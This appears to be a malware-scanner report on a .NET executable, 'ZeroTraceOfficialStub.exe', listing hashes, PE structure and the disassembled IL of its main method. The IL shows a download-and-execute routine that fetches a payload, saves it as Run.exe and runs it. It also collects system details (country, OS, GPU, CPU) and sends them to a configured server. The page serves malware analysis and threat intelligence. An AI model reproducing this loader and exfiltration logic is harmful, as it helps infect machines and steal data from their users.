Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5: 2a0955539bd323135dd9d1f0dc6cb965
Size: 11.23 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 2a0955539bd323135dd9d1f0dc6cb965
Sha1 c444076370ff0453111a863ea68341f29cb5f605
Sha256 b42e97c12a39ea8ce7d889b1487f497de27a49549467fa8dbf9d8ac9cca9e8cc
Sha384 e74970c9c8c75da7173408705c35c7b3c657f999ea8e185b6ea32a737fae44b4077ff201d669b3b34394f0f282268c38
Sha512 765c5901ecb08eb05a3a1095d555faf614adfa3de1117837ae56a3f8fd06e5066d2ae369d68c7a1c261ee5f0ca189a5b5b784940e8815f300d00b8e12eb80b6f
SSDeep 49152:epj5ULc3g4k2vX9OLQTM+acHEGSEGGVjb03xFKj0ia+CtbQuIrYIvVhARgzD1Rqo:
TLSH BAB6382439FA501AB173EFAA8BE479EADA6FB7733B07645D105003864723981DEC153E
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
7b2ef50a5bd048be8bad9e1b4efd2a6d
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
ZeroTraceOfficialStub.exe
Full Name
ZeroTraceOfficialStub.exe
EntryPoint
System.Void ZeroTrace_Client.Program::a(System.String[])
Scope Name
ZeroTraceOfficialStub.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ZeroTraceOfficialStub
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
948
Main Method
System.Void ZeroTrace_Client.Program::a(System.String[])
Main IL Instruction Count
278
Main IL
call System.Void ZeroTrace_Client.Program::a()
ldc.i4.0 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.0 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_03EA: ret
ldstr Server IP: 
ldsfld System.String ZeroTrace_Client.Program::G
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.1 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr Server Port: {0}
ldsfld System.Int32 ZeroTrace_Client.Program::a
box System.Int32
call System.String System.String::Format(System.String,System.Object)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.2 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr inj: 
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.3 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr uac: 
ldsfld System.String ZeroTrace_Client.Program::H
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.4 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr downloadexecute: 
ldsfld System.String ZeroTrace_Client.Program::i
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.5 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldsfld System.String ZeroTrace_Client.Program::h
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_00EC: ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.Windows.Forms.Application::get_ExecutablePath()
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldc.i4.6 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_0123: ldsfld System.String ZeroTrace_Client.Program::H
ldsfld System.String ZeroTrace_Client.Program::h
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_010F: ldstr "Unexpected value for inj: "
ldstr hide is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.7 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_0123: ldsfld System.String ZeroTrace_Client.Program::H
ldstr Unexpected value for inj: 
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::H
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0147: ldsfld System.String ZeroTrace_Client.Program::H
call System.Boolean ZeroTrace_Client.Program::a()
brtrue.s IL_017F: ldsfld System.String ZeroTrace_Client.Program::i
call System.Void ZeroTrace_Client.Program::A()
ldc.i4.8 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ret <null>
ldsfld System.String ZeroTrace_Client.Program::H
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_016B: ldstr "Unexpected value for inj: "
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 9
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_017F: ldsfld System.String ZeroTrace_Client.Program::i
ldstr Unexpected value for inj: 
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::i
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DC: call System.String ZeroTrace_Client.Program::i()
newobj System.Void System.Net.WebClient::.ctor()
ldsfld System.String ZeroTrace_Client.Program::i
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
stloc.0 <null>
ldc.i4.s 10
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \Run.exe
call System.String System.String::Concat(System.String,System.String)
ldloc.0 <null>
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 11
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \Run.exe
call System.String System.String::Concat(System.String,System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
call System.String ZeroTrace_Client.Program::i()
stloc.1 <null>
ldc.i4.0 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldc.i4.0 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_039A: ldloc.s V_8
call System.String ZeroTrace_Client.Program::j()
stloc.2 <null>
ldc.i4.1 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::J()
stloc.3 <null>
ldc.i4.2 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::k()
stloc.s V_4
ldc.i4.3 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::b()
stloc.s V_5
ldc.i4.4 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::B()
stloc.s V_6
ldc.i4.5 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::c()
stloc.s V_7
ldc.i4.6 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr Country: 
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.7 <null>
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr OS: 
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.8 <null>
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr GPU: 
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 9
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr CPU: 
ldloc.s V_4
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 10
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.s V_4
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_5
brtrue.s IL_0306: ldstr "1"
ldstr 0
br.s IL_030B: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_6
brtrue.s IL_0323: ldstr "1"
ldstr 0
br.s IL_0328: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_7
brtrue.s IL_0340: ldstr "1"
ldstr 0
br.s IL_0345: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
stloc.s V_8
ldc.i4.s 11
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::a()
stloc.s V_9
ldc.i4.s 12
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_9
brfalse.s IL_0389: ldstr "Sending system info only..."
ldstr Sending system info and data file to server...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_8
ldloc.s V_9
call System.Void ZeroTrace_Client.Program::a(System.String,System.String)
ldc.i4.s 14
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
br.s IL_03A1: leave.s IL_03C8
ldstr Sending system info only...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 15
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_8
call System.Void ZeroTrace_Client.Program::a(System.String)
leave.s IL_03C8: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldc.i4.0 <null>
br.s IL_03A9: brfalse.s IL_03AD
ldc.i4.0 <null>
brfalse.s IL_03AD: ldstr "Error: "
br.s IL_03C6: leave.s IL_03C8
ldstr Error: 
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.1 <null>
br.s IL_03A9: brfalse.s IL_03AD
leave.s IL_03C8: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 12
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.s 13
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙